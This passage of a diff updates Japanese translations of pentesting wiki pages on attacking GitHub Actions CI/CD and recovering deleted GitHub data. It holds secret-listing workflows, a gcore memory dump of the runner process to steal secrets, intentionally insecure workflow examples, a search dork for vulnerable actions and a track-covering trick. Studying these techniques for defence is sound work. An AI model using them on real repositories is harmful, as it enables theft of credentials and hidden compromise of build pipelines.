+- **カスタムワーカーでコードを実行**して、計算能力を悪用し、他のシステムにピボットすることができます。
+- `GITHUB_TOKEN`に関連付けられた権限に応じて、**リポジトリコードを上書き**することができます。
 
 ## GITHUB_TOKEN
 
@@ -32,7 +32,7 @@
 
 <figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
 
-このトークンは**Githubアプリケーションが使用するものと同じ**で、同じエンドポイントにアクセスできます：[https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
+このトークンは**Githubアプリケーションが使用するものと同じ**であり、同じエンドポイントにアクセスできます：[https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
 
 > [!WARNING]
 > Githubは、リポジトリが`GITHUB_TOKEN`を使用して他の内部リポジトリにアクセスできるようにする[**フロー**](https://github.com/github/roadmap/issues/74)をリリースするべきです。
@@ -67,7 +67,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
 -d '{"event":"APPROVE"}'
 ```
 {{#endtab }}
-{{#tab name="PRを作成" }}
+{{#tab name="PRを作成する" }}
 ```bash
 # Create a PR
 curl -X POST \
@@ -81,11 +81,11 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
 {{#endtabs }}
 
 > [!CAUTION]
-> 注意してください。いくつかの場面で、**Github Actionsのenvsやsecretsの中にgithubユーザートークンを見つけることができる**でしょう。これらのトークンは、リポジトリや組織に対してより多くの権限を与える可能性があります。
+> 注意してください。いくつかの場面で、**Github Actionsのenvやシークレットの中にgithubユーザートークンを見つけることができるでしょう**。これらのトークンは、リポジトリや組織に対してより多くの権限を与える可能性があります。
 
 <details>
 
-<summary>Github Action出力のシークレットのリスト</summary>
+<summary>Github Actionの出力にシークレットをリストする</summary>
 ```yaml
 name: list_env
 on:
@@ -134,24 +134,24 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-他のユーザーのリポジトリでGithubトークンに与えられた権限を**アクションのログを確認することで**チェックすることが可能です：
+他のユーザーのリポジトリに与えられたGithubトークンの権限を**ログを確認することで**チェックすることが可能です：
 
 <figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
 
 ## 許可された実行
 
 > [!NOTE]
-> これはGithubアクションを危険にさらす最も簡単な方法です。このケースでは、**組織内に新しいリポジトリを作成するアクセス権**があるか、**リポジトリに対する書き込み権限**があることを前提としています。
+> これはGithubアクションを危険にさらす最も簡単な方法であり、このケースは**組織内に新しいリポジトリを作成するアクセス権**を持っているか、**リポジトリに対する書き込み権限**を持っていることを前提としています。
 >
-> このシナリオにいる場合は、[ポストエクスプロイテーション技術](./#post-exploitation-techniques-from-inside-an-action)を確認するだけです。
+> このシナリオにいる場合は、[Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action)を確認するだけです。
 
 ### リポジトリ作成からの実行
 
-組織のメンバーが**新しいリポジトリを作成でき**、あなたがGithubアクションを実行できる場合、**新しいリポジトリを作成し、組織レベルで設定されたシークレットを盗む**ことができます。
+組織のメンバーが**新しいリポジトリを作成でき**、Githubアクションを実行できる場合、**新しいリポジトリを作成し、組織レベルで設定されたシークレットを盗む**ことができます。
 
 ### 新しいブランチからの実行
 
-既にGithubアクションが設定されているリポジトリで**新しいブランチを作成できる**場合、**それを修正し、**コンテンツを**アップロードし、**その新しいブランチからそのアクションを**実行する**ことができます。この方法で、**リポジトリおよび組織レベルのシークレットを外部に持ち出す**ことができます（ただし、それらがどのように呼ばれているかを知っている必要があります）。
+既にGithubアクションが設定されているリポジトリで**新しいブランチを作成できる**場合、**それを修正し、**コンテンツを**アップロード**し、その後**新しいブランチからそのアクションを実行**することができます。この方法で、**リポジトリおよび組織レベルのシークレットを抽出**することができます（ただし、それらがどのように呼ばれているかを知っている必要があります）。
 
 修正されたアクションを**手動で**実行可能にすることができます。**PRが作成されたとき**や**コードがプッシュされたとき**（どれだけ目立ちたいかによります）：
 ```yaml
@@ -185,31 +185,31 @@ branches:
 
 さらに、デフォルトでは**書き込み権限**と**シークレットアクセス**をターゲットリポジトリに対して防ぎます。これは[**ドキュメント**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories)に記載されています：
 
-> `GITHUB_TOKEN`を除いて、**シークレットはランナーに渡されません**。ワークフローが**フォークされた**リポジトリからトリガーされた場合、**`GITHUB_TOKEN`はプルリクエストから**読み取り専用の権限を持っています**。
+> `GITHUB_TOKEN`を除いて、**シークレットはランナーに渡されません**。ワークフローが**フォークされた**リポジトリからトリガーされるとき。**`GITHUB_TOKEN`はフォークされたリポジトリからのプルリクエストに対して**読み取り専用権限**を持っています。
 
 攻撃者はGithub Actionの定義を変更して任意のことを実行し、任意のアクションを追加することができます。しかし、前述の制限のためにシークレットを盗んだり、リポジトリを上書きしたりすることはできません。
 
 > [!CAUTION]
-> **はい、攻撃者がPRでトリガーされるgithub actionを変更した場合、彼のGithub Actionが使用され、元のリポジトリのものは使用されません！**
+> **はい、攻撃者がPRでトリガーされるgithub actionを変更した場合、彼のGithub Actionが使用され、元のリポジトリのものではありません！**
 
-攻撃者が実行されるコードを制御しているため、`GITHUB_TOKEN`にシークレットや書き込み権限がなくても、攻撃者は例えば**悪意のあるアーティファクトをアップロードする**ことができます。
+攻撃者は実行されるコードも制御しているため、`GITHUB_TOKEN`にシークレットや書き込み権限がなくても、例えば**悪意のあるアーティファクトをアップロードする**ことができます。
 
 ### **`pull_request_target`**
 
-ワークフロートリガー**`pull_request_target`**は、ターゲットリポジトリに**書き込み権限**と**シークレットへのアクセス**を持っています（許可を求めません）。
+ワークフロートリガー**`pull_request_target`**は、ターゲットリポジトリに対して**書き込み権限**と**シークレットへのアクセス**を持っています（許可を求めません）。
 
-ワークフロートリガー**`pull_request_target`**は**PRによって与えられたコンテキストではなく、ベースコンテキストで実行される**ことに注意してください（**信頼できないコードを実行しないため**）。`pull_request_target`についての詳細は[**ドキュメントを確認してください**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)。\
-さらに、この特定の危険な使用についての詳細は、[**githubのブログ投稿を確認してください**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)。
+ワークフロートリガー**`pull_request_target`**は**ベースコンテキスト**で実行され、PRによって与えられたものではありません（**信頼できないコードを実行しないため**）。`pull_request_target`に関する詳細は[**ドキュメントを確認してください**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target)。\
+さらに、この特定の危険な使用に関する詳細は、[**githubのブログ投稿を確認してください**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)。
 
-**実行されるワークフロー**が**ベース**で定義されたものであり、**PR**ではないため、**`pull_request_target`を使用することは**安全**に見えるかもしれませんが、**安全でない場合がいくつかあります**。
+**実行されるワークフロー**が**ベース**で定義されたものであり、**PR**ではないため、**`pull_request_target`**を使用することは**安全**に見えるかもしれませんが、**安全でない場合がいくつかあります**。
 
-そして、これには**シークレットへのアクセス**があります。
+このトリガーは**シークレットへのアクセス**を持ちます。
 
 ### `workflow_run`
 
 [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run)トリガーは、別のワークフローが`completed`、`requested`、または`in_progress`のときにワークフローを実行することを許可します。
 
-この例では、別の「テストを実行」ワークフローが完了した後に実行されるようにワークフローが構成されています：
+この例では、ワークフローは別の「テストを実行」ワークフローが完了した後に実行されるように構成されています：
 ```yaml
 on:
 workflow_run:
@@ -217,29 +217,29 @@ workflows: [Run Tests]
 types:
 - completed
 ```
-Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
+さらに、ドキュメントによると：`workflow_run`イベントによって開始されたワークフローは、前のワークフローがそうでなかった場合でも、**シークレットにアクセスし、トークンを書き込むことができます**。
 
-この種のワークフローは、**`pull_request`** または **`pull_request_target`** を介して外部ユーザーによって **トリガーされる** **ワークフロー** に **依存している** 場合、攻撃される可能性があります。いくつかの脆弱な例は [**このブログ**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**で見つけることができます。** 最初の例は、**`workflow_run`** トリガーされたワークフローが攻撃者のコードをダウンロードすることです: `${{ github.event.pull_request.head.sha }}`\
-2つ目の例は、**信頼できない** コードから **`workflow_run`** ワークフローに **アーティファクト** を **渡す** ことと、このアーティファクトの内容を **RCEに対して脆弱** な方法で使用することです。
+この種のワークフローは、**`pull_request`**または**`pull_request_target`**を介して外部ユーザーによって**トリガーされる**ワークフローに**依存している**場合、攻撃される可能性があります。脆弱な例はいくつか[**このブログで見つけることができます**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**。** 最初の例は、**`workflow_run`**トリガーされたワークフローが攻撃者のコードをダウンロードすることです：`${{ github.event.pull_request.head.sha }}`\
+2つ目の例は、**信頼できない**コードから**`workflow_run`**ワークフローに**アーティファクト**を**渡す**ことと、このアーティファクトの内容を**RCEに対して脆弱**な方法で使用することです。
 
 ### `workflow_call`
 
 TODO
 
-TODO: `pull_request` から実行された場合、使用/ダウンロードされたコードが元のものであるかフォークされたPRのものであるかを確認する
+TODO: `pull_request`から実行されたときに使用/ダウンロードされたコードが元のものであるかフォークされたPRのものであるかを確認する
 
 ## フォークされた実行の悪用
 
-外部の攻撃者がGitHubワークフローを実行させる方法についてすべて言及しましたが、次に、これらの実行が不適切に構成されている場合、どのように悪用される可能性があるかを見てみましょう。
+外部の攻撃者がGitHubワークフローを実行させる方法についてすべて言及しましたが、次に、これらの実行が不適切に構成されている場合にどのように悪用される可能性があるかを見てみましょう：
 
 ### 信頼できないチェックアウト実行
 
-**`pull_request`** の場合、ワークフローは **PRのコンテキスト** で実行されるため（**悪意のあるPRのコード** を実行します）、誰かが **最初に承認する必要があります** そして、いくつかの [制限](./#pull_request) で実行されます。
+**`pull_request`**の場合、ワークフローは**PRのコンテキスト**で実行されるため（**悪意のあるPRのコード**が実行されます）、誰かが**最初に承認する必要があります**。そして、いくつかの[制限](./#pull_request)のもとで実行されます。
 
-**`pull_request_target` または `workflow_run`** を使用するワークフローが **`pull_request_target` または `pull_request`** からトリガーされるワークフローに依存している場合、元のリポジトリのコードが実行されるため、**攻撃者は実行されるコードを制御できません**。
+**`pull_request_target`または`workflow_run`**を使用するワークフローが**`pull_request_target`または`pull_request`**からトリガーされるワークフローに依存している場合、元のリポジトリのコードが実行されるため、**攻撃者は実行されるコードを制御できません**。
 
 > [!CAUTION]
-> ただし、**アクション** に **明示的なPRチェックアウト** があり、**PRからコードを取得する**（ベースからではなく）場合、攻撃者が制御するコードが使用されます。例えば（PRコードがダウンロードされる行12を確認）:
+> ただし、**アクション**に**明示的なPRチェックアウト**があり、**PRからコードを取得する**（ベースからではなく）場合、攻撃者が制御するコードが使用されます。例えば（PRコードがダウンロードされる12行目を確認）：
 
 <pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
 on:
@@ -269,26 +269,26 @@ message: |
 Thank you!
 </code></pre>
 
-潜在的に **信頼できないコードは `npm install` または `npm build` の間に実行されます**。ビルドスクリプトと参照された **パッケージはPRの著者によって制御されています**。
+潜在的に**信頼できないコードは`npm install`または`npm build`の間に実行されます**。ビルドスクリプトと参照された**パッケージはPRの作者によって制御されています**。
 
 > [!WARNING]
-> 脆弱なアクションを検索するためのGitHubドークは: `event.pull_request pull_request_target extension:yml` ですが、アクションが不適切に構成されていても、実行されるジョブを安全に構成する方法はいくつかあります（PRを生成するアクターが誰であるかに関する条件を使用するなど）。
+> 脆弱なアクションを検索するためのGitHubドークは：`event.pull_request pull_request_target extension:yml`ですが、アクションが不適切に構成されていても、ジョブを安全に実行するためのさまざまな方法があります（PRを生成するアクターについての条件を使用するなど）。
 
 ### コンテキストスクリプトインジェクション <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
 
-特定の [**GitHubコンテキスト**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) の値は、PRを作成する **ユーザー** によって **制御されている** ことに注意してください。GitHubアクションがその **データを使用して何かを実行する** 場合、**任意のコード実行** に繋がる可能性があります:
+特定の[**GitHubコンテキスト**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context)の値は、PRを作成する**ユーザー**によって**制御されている**ことに注意してください。GitHubアクションがその**データを使用して何かを実行する**場合、**任意のコード実行**につながる可能性があります：
 
 {{#ref}}
 gh-actions-context-script-injections.md
 {{#endref}}
 
-### **GITHUB_ENV スクリプトインジェクション** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
+### **GITHUB_ENVスクリプトインジェクション** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
 
-ドキュメントによると: 環境変数を定義または更新し、これを **`GITHUB_ENV`** 環境ファイルに書き込むことで、ワークフロージョブの後続のステップで **環境変数を利用可能にする** ことができます。
+ドキュメントによると：環境変数を定義または更新し、これを**`GITHUB_ENV`**環境ファイルに書き込むことで、ワークフロージョブの後続のステップで**環境変数を利用可能にする**ことができます。
 
-攻撃者がこの **env** 変数内に **任意の値を注入** できる場合、**LD_PRELOAD** や **NODE_OPTIONS** のようなコードを実行する環境変数を注入することができます。
+攻撃者がこの**env**変数内に**任意の値を注入**できる場合、**LD_PRELOAD**や**NODE_OPTIONS**などのコードを実行する環境変数を注入することができます。
 
-例えば ([**これ**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) と [**これ**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project))、アップロードされたアーティファクトを信頼してその内容を **`GITHUB_ENV`** 環境変数に保存するワークフローを想像してください。攻撃者はこれを妥協するために次のようなものをアップロードできます:
+例えば、（[**これ**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0)と[**これ**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)）、アップロードされたアーティファクトを信頼してその内容を**`GITHUB_ENV`**環境変数に格納するワークフローを想像してください。攻撃者は、これを妥協するために次のようなものをアップロードすることができます：
 
 <figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
 
@@ -296,11 +296,11 @@ gh-actions-context-script-injections.md
 
 #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
 
-[**このブログ投稿**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) で述べたように、このGitHubアクションは異なるワークフローやリポジトリからアーティファクトにアクセスすることを可能にします。
+[**このブログ投稿**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks)で述べたように、このGitHubアクションは、異なるワークフローやリポジトリからアーティファクトにアクセスすることを可能にします。
 
-問題は、**`path`** パラメータが設定されていない場合、アーティファクトが現在のディレクトリに抽出され、後で使用または実行される可能性のあるファイルを上書きできることです。したがって、アーティファクトが脆弱な場合、攻撃者はこれを悪用してアーティファクトを信頼する他のワークフローを妥協させることができます。
+問題は、**`path`**パラメータが設定されていない場合、アーティファクトが現在のディレクトリに抽出され、後で使用または実行される可能性のあるファイルを上書きできることです。したがって、アーティファクトが脆弱な場合、攻撃者はこれを悪用してアーティファクトを信頼する他のワークフローを妥協させることができます。
 
-脆弱なワークフローの例:
+脆弱なワークフローの例：
 ```yaml
 on:
 workflow_run:
@@ -323,7 +323,7 @@ with:
 name: artifact
 path: ./script.py
 ```
-このワークフローを使って攻撃することができます：
+このワークフローで攻撃される可能性があります：
 ```yaml
 name: "some workflow"
 on: pull_request
@@ -341,64 +341,6 @@ path: ./script.py
 ---
 
 ## その他の外部アクセス
-
-### 削除された名前空間のリポジトリハイジャック
-
-アカウントが名前を変更すると、他のユーザーがその名前でアカウントを登録できるようになります。リポジトリが名前変更前に**100スター未満**だった場合、Githubは同じ名前の新しい登録ユーザーに**削除されたリポジトリと同じ名前のリポジトリを作成する**ことを許可します。
-
-> [!CAUTION]
-> したがって、アクションが存在しないアカウントのリポジトリを使用している場合、攻撃者がそのアカウントを作成し、アクションを妨害する可能性があります。
-
-他のリポジトリが**このユーザーのリポジトリからの依存関係を使用している**場合、攻撃者はそれらをハイジャックできるようになります。こちらにより詳細な説明があります: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
-
----
-
-## リポジトリピボティング
-
-> [!NOTE]
-> このセクションでは、最初のリポジトリに何らかのアクセス権があると仮定して、**1つのリポジトリから別のリポジトリにピボットする**技術について説明します（前のセクションを確認してください）。
-
-### キャッシュポイズニング
-
-キャッシュは**同じブランチ内のワークフロー実行間で維持されます**。つまり、攻撃者が**パッケージを妨害**し、それがキャッシュに保存され、**より特権のある**ワークフローによって**ダウンロード**および実行されると、そのワークフローも**妨害**される可能性があります。
-
-{{#ref}}
-gh-actions-cache-poisoning.md
-{{#endref}}
-
-### アーティファクトポイズニング
-
-ワークフローは**他のワークフローやリポジトリからのアーティファクトを使用する**ことができます。攻撃者が**アーティファクトをアップロードするGithub Actionを妨害**することに成功すれば、他のワークフローを**妨害**することができます：
-
-{{#ref}}
-gh-actions-artifact-poisoning.md
-{{#endref}}
-
----
-
-## アクションからのポストエクスプロイテーション
-
-### OIDCを介したAWSおよびGCPへのアクセス
-
-以下のページを確認してください：
-
-{{#ref}}
-../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
-{{#endref}}
-
-{{#ref}}
-../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
-{{#endref}}
-
-### 秘密へのアクセス <a href="#accessing-secrets" id="accessing-secrets"></a>
-
-スクリプトにコンテンツを注入している場合、秘密にアクセスする方法を知っておくと興味深いです：
-
-- 秘密またはトークンが**環境変数**に設定されている場合、**`printenv`**を使用して環境を介して直接アクセスできます。
-
-<details>
-
-<summary>Github Action出力の秘密をリストする</summary>
 ```yaml
 name: list_env
 on:
@@ -448,7 +390,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-- シークレットが**式に直接使用される**場合、生成されたシェルスクリプトは**ディスク上**に保存され、アクセス可能です。
+- シークレットが**式内で直接使用される**場合、生成されたシェルスクリプトは**ディスク上**に保存され、アクセス可能です。
 - ```bash
 cat /home/runner/work/_temp/*
 ```
@@ -464,23 +406,23 @@ with:
 key: ${{ secrets.PUBLISH_KEY }}
 ```
 
-### セルフホステッドランナーの悪用
+### セルフホストランナーの悪用
 
-**Github Actionsが非Githubインフラストラクチャで実行されている**かを見つける方法は、Github Action構成yaml内で**`runs-on: self-hosted`**を検索することです。
+**Github Actionsが非Githubインフラストラクチャで実行されている**かを見つける方法は、Github Actionの設定yaml内で**`runs-on: self-hosted`**を検索することです。
 
-**セルフホステッド**ランナーは、**追加の機密情報**や他の**ネットワークシステム**（ネットワーク内の脆弱なエンドポイント？メタデータサービス？）にアクセスできる可能性があります。また、隔離されて破棄されていても、**同時に複数のアクションが実行される可能性**があり、悪意のあるアクションが他のアクションの**シークレットを盗む**ことができます。
+**セルフホスト**ランナーは、**追加の機密情報**や他の**ネットワークシステム**（ネットワーク内の脆弱なエンドポイント？メタデータサービス？）にアクセスできる可能性があります。また、隔離されて破壊されていても、**同時に複数のアクションが実行される可能性**があり、悪意のあるアクションが他のアクションの**シークレットを盗む**ことができます。
 
-セルフホステッドランナーでは、**\_Runner.Listener**\_\*\*プロセスから**シークレットを取得する**ことも可能で、これは任意のステップでワークフローのすべてのシークレットをメモリをダンプすることで含むことができます：
+セルフホストランナーでは、**\_Runner.Listener**\_\*\*プロセスから**シークレットを取得する**ことも可能で、これは任意のステップでワークフローのすべてのシークレットをメモリをダンプすることで含むことができます：
 ```bash
 sudo apt-get install -y gdb
 sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
 ```
-Check [**この投稿で詳細情報を確認してください**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
+[**この投稿で詳細情報を確認してください**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/)。
 
 ### Github Docker Images Registry
 
 Github内に**Dockerイメージをビルドして保存する**Githubアクションを作成することが可能です。\
-以下の展開可能な例を参照してください:
+以下の展開可能な例を参照してください：
 
 <details>
 
@@ -515,14 +457,14 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
 ```
 </details>
 
-前のコードで見たように、Githubレジストリは**`ghcr.io`**にホストされています。
+前のコードで示したように、Githubレジストリは**`ghcr.io`**にホストされています。
 
 リポジトリに対する読み取り権限を持つユーザーは、個人アクセストークンを使用してDockerイメージをダウンロードできるようになります：
 ```bash
 echo $gh_token | docker login ghcr.io -u <username> --password-stdin
 docker pull ghcr.io/<org-name>/<repo_name>:<tag>
 ```
-Then, the user could search for **leaked secrets in the Docker image layers:**
+その後、ユーザーは**Dockerイメージのレイヤー内の漏洩した秘密**を検索できます：
 
 {{#ref}}
 https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
@@ -530,20 +472,20 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m
 
 ### Github Actionsログの機密情報
 
-たとえ**Github**がアクションログ内の**秘密の値**を**検出しようとし**、それらを**表示しないように**しても、アクションの実行中に生成された**他の機密データ**は隠されません。たとえば、秘密の値で署名されたJWTは、[特に設定されない限り](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret)、隠されません。
+**Github**がアクションログ内の**秘密の値**を**検出しようとし**、それらを**表示しないように**しても、アクションの実行中に生成された**他の機密データ**は隠されません。たとえば、秘密の値で署名されたJWTは、[特に設定されていない限り](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret)、隠されません。
 
 ## 足跡を隠す
 
-(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) まず第一に、提出されたPRはGithub上で公開され、ターゲットのGitHubアカウントにも明らかに見えます。デフォルトでは、GitHubでは**インターネット上のPRを削除することはできません**が、ひねりがあります。Githubによって**停止された**GitHubアカウントの場合、すべての**PRは自動的に削除**され、インターネットから取り除かれます。したがって、活動を隠すためには、**GitHubアカウントを停止させるか、アカウントをフラグ付けさせる必要があります**。これにより、インターネット上のGitHubでの**すべての活動が隠されます**（基本的にすべてのエクスプロイトPRが削除されます）。
+（[**こちら**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)からの技術）まず第一に、提出されたPRはGithub上で公開され、ターゲットのGitHubアカウントにも明らかに見えます。デフォルトでは、GitHubでは**インターネット上のPRを削除することはできません**が、ひねりがあります。GitHubによって**停止された**GitHubアカウントの場合、すべての**PRは自動的に削除**され、インターネットから取り除かれます。したがって、活動を隠すには、**GitHubアカウントを停止させるか、アカウントにフラグを立てる必要があります**。これにより、GitHub上のすべての活動がインターネットから隠されます（基本的にすべてのエクスプロイトPRが削除されます）。
 
-GitHubの組織は、アカウントをGitHubに報告することに非常に積極的です。あなたがする必要があるのは、Issueに「いくつかのもの」を共有することで、彼らは12時間以内にあなたのアカウントが停止されることを確実にします :p そして、あなたのエクスプロイトはGitHub上で見えなくなります。
+GitHubの組織は、アカウントをGitHubに報告することに非常に積極的です。必要なのは、Issueに「いくつかのもの」を共有するだけで、彼らは12時間以内にあなたのアカウントが停止されることを確認します :p これで、あなたのエクスプロイトはGitHub上で見えなくなります。
 
 > [!WARNING]
 > 組織がターゲットにされたことを把握する唯一の方法は、GitHub UIからPRが削除されるため、SIEMからGitHubログを確認することです。
 
 ## ツール
 
-以下のツールは、Github Actionワークフローを見つけたり、脆弱なものを見つけたりするのに役立ちます：
+以下のツールは、GitHub Actionワークフローを見つけたり、脆弱なものを見つけたりするのに役立ちます：
 
 - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
 - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)

src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md

@@ -1,10 +1,10 @@
-# Accessible Deleted Data in Github
+# Githubにおけるアクセス可能な削除データ
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Githubから削除されたとされるデータにアクセスする方法は[**このブログ記事で報告されています**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)。
+Githubから削除されたとされるデータにアクセスする方法は、[**このブログ投稿で報告されています**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)。
 
-## Accessing Deleted Fork Data
+## 削除されたフォークデータへのアクセス
 
 1. 公開リポジトリをフォークします。
 2. フォークにコードをコミットします。
@@ -13,43 +13,43 @@ Githubから削除されたとされるデータにアクセスする方法は[*
 > [!CAUTION]
 > 削除されたフォークにコミットされたデータはまだアクセス可能です。
 
-## Accessing Deleted Repo Data
+## 削除されたリポジトリデータへのアクセス
 
 1. GitHubに公開リポジトリがあります。
 2. ユーザーがあなたのリポジトリをフォークします。
-3. 彼らがフォークした後にデータをコミットします（彼らはあなたの更新とフォークを同期しません）。
+3. 彼らがフォークした後にデータをコミットします（彼らは決してフォークをあなたの更新と同期しません）。
 4. リポジトリ全体を削除します。
 
 > [!CAUTION]
 > リポジトリを削除しても、行われたすべての変更はフォークを通じてアクセス可能です。
 
-## Accessing Private Repo Data
+## プライベートリポジトリデータへのアクセス
 
 1. 最終的に公開されるプライベートリポジトリを作成します。
 2. そのリポジトリのプライベートな内部バージョンを作成し（フォークを通じて）、公開しない機能のための追加コードをコミットします。
 3. “アップストリーム”リポジトリを公開し、フォークをプライベートに保ちます。
 
 > [!CAUTION]
-> 内部フォークが作成された時点から公開バージョンが公開されるまでの間にプッシュされたすべてのデータにアクセスすることが可能です。
+> 内部フォークが作成された時点と公開バージョンが公開された時点の間にプッシュされたすべてのデータにアクセスすることが可能です。
 
-## How to discover commits from deleted/hidden forks
+## 削除された/隠されたフォークからコミットを発見する方法
 
-同じブログ記事は2つのオプションを提案しています：
+同じブログ投稿は2つのオプションを提案しています：
 
-### Directly accessing the commit
+### コミットに直接アクセスする
 
 コミットID（sha-1）値が知られている場合、`https://github.com/<user/org>/<repo>/commit/<commit_hash>`でアクセス可能です。
 
-### Brute-forcing short SHA-1 values
+### 短いSHA-1値をブルートフォースする
 
 これらの両方にアクセスするのは同じです：
 
 - [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14)
 - [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463)
 
-そして、最新のものはブルートフォース可能な短いsha-1を使用しています。
+最新のものはブルートフォース可能な短いsha-1を使用しています。
 
-## References
+## 参考文献
 
 - [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)
 

src/pentesting-ci-cd/github-security/basic-github-information.md

@@ -4,7 +4,7 @@
 
 ## 基本構造
 
-大規模な**企業**の基本的なGithub環境構造は、**エンタープライズ**を所有し、そのエンタープライズが**いくつかの組織**を所有し、それぞれの組織が**いくつかのリポジトリ**と**いくつかのチーム**を含むことです。小規模な企業は、**1つの組織とエンタープライズを持たない**場合もあります。
+大規模な**企業**の基本的なGithub環境構造は、**エンタープライズ**を所有し、そのエンタープライズが**いくつかの組織**を所有し、それぞれが**いくつかのリポジトリ**と**いくつかのチーム**を含むことです。小規模な企業は、**1つの組織とエンタープライズを持たない**場合があります。
 
 ユーザーの観点から見ると、**ユーザー**は**異なるエンタープライズや組織のメンバー**であることができます。それらの中で、ユーザーは**異なるエンタープライズ、組織、リポジトリの役割**を持つことがあります。
 
@@ -25,21 +25,21 @@
 
 - **組織オーナー**: 組織オーナーは、**組織に対する完全な管理アクセス権**を持っています。この役割は制限されるべきですが、組織内で2人以上の人に制限する必要があります。
 - **組織メンバー**: **デフォルト**の非管理者役割は**組織メンバー**です。デフォルトでは、組織メンバーは**いくつかの権限を持っています**。
-- **請求管理者**: 請求管理者は、**組織の請求設定を管理できるユーザー**です。たとえば、支払い情報など。
+- **請求管理者**: 請求管理者は、**組織の請求設定を管理できるユーザー**です。たとえば、支払い情報などです。
 - **セキュリティマネージャー**: 組織オーナーが組織内の任意のチームに割り当てることができる役割です。適用されると、チームのすべてのメンバーに**組織全体のセキュリティアラートや設定を管理する権限、ならびに組織内のすべてのリポジトリに対する読み取り権限**が与えられます。
-- 組織にセキュリティチームがある場合、セキュリティマネージャーの役割を使用して、チームのメンバーに組織に必要な最小限のアクセスを与えることができます。
-- **Githubアプリ管理者**: 組織が所有する**GitHubアプリを管理するために追加のユーザーを許可する**ために、オーナーはGitHubアプリ管理者の権限を付与できます。
+- 組織にセキュリティチームがある場合、セキュリティマネージャー役割を使用して、チームのメンバーに組織に必要な最小限のアクセスを与えることができます。
+- **Githubアプリ管理者**: 組織が所有する**GitHubアプリを管理する**ために、オーナーはGitHubアプリ管理者権限を付与できます。
 - **外部コラボレーター**: 外部コラボレーターは、**1つ以上の組織リポジトリにアクセスできるが、明示的に組織のメンバーではない**人です。
 
-これらの役割の**権限を比較する**ことができる表があります: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
